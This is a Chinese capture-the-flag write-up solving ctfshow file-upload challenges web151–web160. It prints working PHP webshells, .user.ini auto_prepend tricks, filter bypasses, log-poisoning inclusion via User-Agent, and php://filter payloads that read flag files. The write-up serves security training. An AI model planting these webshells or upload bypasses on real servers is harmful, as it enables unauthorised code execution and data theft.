ctfshow-web入门-文件上传(web151-web160)

admin2024-07-07  13

目录

1、web151

2、web152

3、web153

4、web154

5、web155

6、web156

7、web157

8、web158

9、web159

10、web160


1、web151

ctfshow-web入门-文件上传(web151-web160),第1张

试了下前端只能传 png 后缀的

ctfshow-web入门-文件上传(web151-web160),第2张

将一句话木马改成 png 后缀,上传后用 burpsuite 抓包

ctfshow-web入门-文件上传(web151-web160),第3张

绕过前端检测后,改回 php 后缀,发包

ctfshow-web入门-文件上传(web151-web160),第4张

调用:

/upload/eval.php?cmd=system('ls');

ctfshow-web入门-文件上传(web151-web160),第5张

发现 flag 在上一层目录:

/upload/eval.php?cmd=system('ls ../');

ctfshow-web入门-文件上传(web151-web160),第6张

读取 flag:

/upload/eval.php?cmd=system('tac ../flag.php');

ctfshow-web入门-文件上传(web151-web160),第7张

拿到 flag:ctfshow{e3bd0332-4d5f-4255-941f-a2e6095c4f17}

我们还可以直接改它前端验证的代码:

原本只支持上传 png 后缀的文件

ctfshow-web入门-文件上传(web151-web160),第8张

我们加一个 php 后缀进去,即可直接上传 php 后缀的文件

ctfshow-web入门-文件上传(web151-web160),第9张

ctfshow-web入门-文件上传(web151-web160),第10张

2、web152

同样前端只能传 png

ctfshow-web入门-文件上传(web151-web160),第11张

但是只改前端代码是不行的,说明后端还有检测

ctfshow-web入门-文件上传(web151-web160),第12张

传 png 后缀的木马,使用 burpsuite 抓包,改回 php 后缀发包即可,这里后端检测的就是这个 Content-Type(MIME类型),因为我们本身一开始就是传的 png 后缀,所以这里不需要改,就是 image/png 类型,如果你一开始传的 php 后缀,则需要改这个 Content-Type 为图片类型。

ctfshow-web入门-文件上传(web151-web160),第13张

调用:

/upload/eval.php?cmd=system('ls ../');

ctfshow-web入门-文件上传(web151-web160),第14张

读取 flag:

/upload/eval.php?cmd=system('tac ../flag.php');

ctfshow-web入门-文件上传(web151-web160),第15张

拿到 flag:ctfshow{e9f076b9-738c-457a-a97d-9118043a5170}

3、web153

ctfshow-web入门-文件上传(web151-web160),第16张

按照上一题的方法,回显 unicode 编码:文件类型不合规

ctfshow-web入门-文件上传(web151-web160),第17张

换方法:上传配置文件 .htaccess 或者 .user.ini

这个是文件上传很常规的操作,这两个配置文件都可以让其它类型的文件被当做 php 文件进行解析,具体哪个能用,取决于题目环境的实际情况。

先测试 .user.ini

内容为:

GIF89a
auto_prepend_file=eval.png

ctfshow-web入门-文件上传(web151-web160),第18张

为了绕过前段验证,我们也需要先改为 png 后缀,再用 burpsuite 抓包改回来:

上传成功

ctfshow-web入门-文件上传(web151-web160),第19张

之后传入 eval.png,直接传即可

ctfshow-web入门-文件上传(web151-web160),第20张

我之前做过的题都是去连 /upload/eval.png,而这道题它是要连 /upload/index.php

ctfshow-web入门-文件上传(web151-web160),第21张

ctfshow-web入门-文件上传(web151-web160),第22张

看其他师傅说是木马被自动包含进原来目录里的 php 文件,一般是index.php

一开始 upload 目录可以访问到,说明 upload 目录中含有 php 文件

ctfshow-web入门-文件上传(web151-web160),第23张

确实在 upload 目录下可以调用到 eval.png 

ctfshow-web入门-文件上传(web151-web160),第24张

拿到 flag:ctfshow{84684dac-a254-4430-82a8-084d2d3c3168}

4、web154

ctfshow-web入门-文件上传(web151-web160),第25张

试了下 .htaccess ,发现不行,那就继续传 .user.ini

ctfshow-web入门-文件上传(web151-web160),第26张

传 eval.png,发现被检测,因该是对文件内容进行了检测

ctfshow-web入门-文件上传(web151-web160),第27张

这里检测的是 php,使用大小写绕过一下

ctfshow-web入门-文件上传(web151-web160),第28张

上传成功

ctfshow-web入门-文件上传(web151-web160),第29张

调用:

/upload/?cmd=system('tac ../flag.php');

ctfshow-web入门-文件上传(web151-web160),第30张

拿到 flag:ctfshow{8fcedb5b-b320-49ae-a24a-367bc2bc30b4}

5、web155

同样先传 .user.ini

ctfshow-web入门-文件上传(web151-web160),第31张

但是在传 eval.png 时又遇到了问题,说明新增了其他过滤 

ctfshow-web入门-文件上传(web151-web160),第32张

测了一下这里过滤的还是 php 但是不区分大小写,可以采用短标签绕过:

<?= @eval($_REQUEST["cmd"]) ?>

 ctfshow-web入门-文件上传(web151-web160),第33张

ctfshow-web入门-文件上传(web151-web160),第34张

ctfshow-web入门-文件上传(web151-web160),第35张

ctfshow{b2012b6b-2fc3-4d0c-8c47-1b39218f6e4c}

6、web156

先传 .user.ini

ctfshow-web入门-文件上传(web151-web160),第36张

肯定会新增其他的过滤,我们先对文件内容做一下 fuzz 测试

写了个 python 小脚本用来生成我们模糊测试的字典:

# 输入一串字符
input_string = input("请输入一串字符:")

# 将字符拆分成单个字符,并添加换行符
split_characters = "\n".join(input_string)

# 将结果写入 fuzz.txt 文件
with open("fuzz.txt", "w") as file:
    file.write(split_characters)

print("字符已拆分并写入 fuzz.txt 文件")

ctfshow-web入门-文件上传(web151-web160),第37张

得到字典: 

ctfshow-web入门-文件上传(web151-web160),第38张

选择测试位置: 

ctfshow-web入门-文件上传(web151-web160),第39张

可以看出来是新增过滤中括号:[ 

实际还过滤了分号,只是短标签中可以省略,因此我没有用到。

ctfshow-web入门-文件上传(web151-web160),第40张

我们使用 {} 代替:

<?= @eval($_REQUEST{"cmd"}) ?>

ctfshow-web入门-文件上传(web151-web160),第41张

上传成功 

ctfshow-web入门-文件上传(web151-web160),第42张

ctfshow-web入门-文件上传(web151-web160),第43张

ctfshow{0b3821a9-ccf0-47a8-952d-cbf300a148e0}

7、web157

先传 .user.ini

ctfshow-web入门-文件上传(web151-web160),第44张

继续在上一题 payload 的基础上进行模糊测试:

发现新增过滤大括号:{

ctfshow-web入门-文件上传(web151-web160),第45张因此我们一句话木马就不好写了,但是我们可以直接传入恶意的 php 代码,直接去执行读取它 flag 的命令:

<? system('tac ../f*') ?>

ctfshow-web入门-文件上传(web151-web160),第46张

上传成功

ctfshow-web入门-文件上传(web151-web160),第47张

访问 upload 目录:

ctfshow-web入门-文件上传(web151-web160),第48张

拿到 flag:ctfshow{7a953bed-eed4-4ec9-ae3a-2371c9199ac8} 

那么,有没有能使用的一句话木马呢?不使用到中括号和大括号。

当然是有的:利用 array 数组

<?=
array_map("assert",$_REQUEST)
?>

ctfshow-web入门-文件上传(web151-web160),第49张

调用:

ctfshow-web入门-文件上传(web151-web160),第50张

/upload/?assert=system('tac ../flag.php');

ctfshow-web入门-文件上传(web151-web160),第51张

此外应该是还有其他类型的一句话木马的,这里就不做演示了各位自己去研究和发现。

8、web158

先传配置文件

ctfshow-web入门-文件上传(web151-web160),第52张

直接传上一题的 array.png,发现可以上传成功

ctfshow-web入门-文件上传(web151-web160),第53张调用:

/upload/?assert=system('tac ../flag.php');

ctfshow-web入门-文件上传(web151-web160),第54张

ctfshow{a32b7333-2619-47ca-9ba6-16df22bda293}

我们看一下 upload.php :

preg_match('/php|\{|\[|\;|log/i', $str);

这里新增过滤了 log,为什么要过滤 log?

ctfshow-web入门-文件上传(web151-web160),第55张

其实从上一题开始已经涉及到了一个东西,就是日志文件包含。

还是先传 .user.ini (这里针对的是 1.png,避免受前面操作影响建议重启环境进行测试)

ctfshow-web入门-文件上传(web151-web160),第56张我们包含日志文件看一下是什么:

这道题新增过滤了 log,我们使用点进行拼接绕过

<?=include '/var/l'.'og/nginx/access.l'.'og'?>

ctfshow-web入门-文件上传(web151-web160),第57张

上传 1.png

ctfshow-web入门-文件上传(web151-web160),第58张

访问 upload 目录,发现内容为 user-agent 的内容,也就是说我们日志文件包含成功

ctfshow-web入门-文件上传(web151-web160),第59张

接下来我们就可以进行 ua 头注入:

插入恶意代码或者一句话木马

ctfshow-web入门-文件上传(web151-web160),第60张

再次访问 upload :

成功回显 flag

ctfshow-web入门-文件上传(web151-web160),第61张

9、web159

还是先上配置文件

ctfshow-web入门-文件上传(web151-web160),第62张

fuzz 测试:

这次把括号也过滤了,也就是说不能直接使用函数了

ctfshow-web入门-文件上传(web151-web160),第63张

上一题的日志文件包含是可以继续使用的,这里不再演示

此外还有一种方法就是使用反引号进行命令执行:

<?=`tac ../f*`?>

ctfshow-web入门-文件上传(web151-web160),第64张

上传成功:

ctfshow-web入门-文件上传(web151-web160),第65张

访问 upload 目录:

ctfshow-web入门-文件上传(web151-web160),第66张

拿到 flag:ctfshow{44ba6e5c-4398-40ef-beec-229b460e23f5}

10、web160

先做模糊测试:

新增过滤空格和反引号

ctfshow-web入门-文件上传(web151-web160),第67张

日志文件包含进行 ua头注入也是可行的

这里再说另一种方法,使用 php 伪协议读取:

先上配置文件

ctfshow-web入门-文件上传(web151-web160),第68张

接着传 2.png ,使用 php://filter 读取 flag.php 的源码,注意使用拼接绕过关键字的过滤。

<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

ctfshow-web入门-文件上传(web151-web160),第69张

上传成功

ctfshow-web入门-文件上传(web151-web160),第70张

访问 upload 

ctfshow-web入门-文件上传(web151-web160),第71张

PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0yMSAyMTozMToyMw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMTAtMTYgMjI6NDE6NDANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3szZWIxY2MyMy05YmRmLTQ4NzYtOWU0Ny0xYTg2ZjA3NzBmMmJ9Ijs

解码得到 flag:

ctfshow-web入门-文件上传(web151-web160),第72张

ctfshow{3eb1cc23-9bdf-4876-9e47-1a86f0770f2b}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明原文出处。如若内容造成侵权/违法违规/事实不符,请联系SD编程学习网:675289112@qq.com进行投诉反馈,一经查实,立即删除!